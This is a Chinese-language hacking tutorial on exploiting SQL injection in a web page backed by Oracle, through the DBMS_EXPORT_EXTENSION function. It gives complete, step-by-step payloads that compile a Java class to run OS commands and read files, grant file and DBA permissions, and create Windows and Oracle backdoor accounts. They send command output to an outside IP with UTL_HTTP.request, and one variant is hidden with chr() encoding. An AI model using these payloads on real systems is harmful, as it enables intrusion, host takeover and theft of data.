介紹一個(gè)在web上通過(guò)oracle注入直接取得主機(jī)cmdshell的方法。

以下的演示都是在web上的sql plus執(zhí)行的，在web注入時(shí) 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語(yǔ)句返回true值)

語(yǔ)句有點(diǎn)長(zhǎng)，可能要用post提交。

以下是各個(gè)步驟：
1.創(chuàng)建包
通過(guò)注入 SYS.DBMS_EXPORT_EXTENSION 函數(shù)，在oracle上創(chuàng)建Java包LinxUtil，里面兩個(gè)函數(shù)，runCMD用于執(zhí)行系統(tǒng)命令，readFile用于讀取文件：
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長(zhǎng)度限制，可以把readFile()函數(shù)塊去掉，即：
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時(shí)把后面步驟 提到的 對(duì)readFile()的處理語(yǔ)句去掉。
------------------------------
2.賦Java權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執(zhí)行函數(shù)的權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測(cè)試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執(zhí)行命令：

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類(lèi)型，不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運(yùn)行結(jié)果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意：用UTL_HTTP.request時(shí)，要用 REPLACE() 把空格、換行符給替換掉，否則會(huì)無(wú)法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內(nèi)部變化
通過(guò)以下命令可以查看all_objects表達(dá)改變：
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創(chuàng)建的函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結(jié)束。謹(jǐn)以此文贈(zèng)與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測(cè)試漏洞的另一方法：
創(chuàng)建oracle帳號(hào)：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在：
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權(quán)限：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號(hào)：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創(chuàng)建一個(gè)可以執(zhí)行多語(yǔ)句的函數(shù)Linx_query()，執(zhí)行成功的話(huà)返回?cái)?shù)值"1"，但權(quán)限是繼承的，可能僅僅是public權(quán)限，作用似乎不大，真的要用到話(huà)可以考慮grant dba to 當(dāng)前的User：

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語(yǔ)句：
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創(chuàng)建用戶(hù)(除非當(dāng)前用戶(hù)有system權(quán)限，否則無(wú)法成功)：
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數(shù)Linx_Query(),再建立 RunCMD2()
1.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權(quán)限，以下語(yǔ)句應(yīng)該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話(huà)運(yùn)行：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當(dāng)前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創(chuàng)建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創(chuàng)建函數(shù)
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權(quán)限
給用戶(hù)SYSTEM執(zhí)行權(quán)限：
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執(zhí)行函數(shù)
select RunCMD2('cmd /c dir') from dual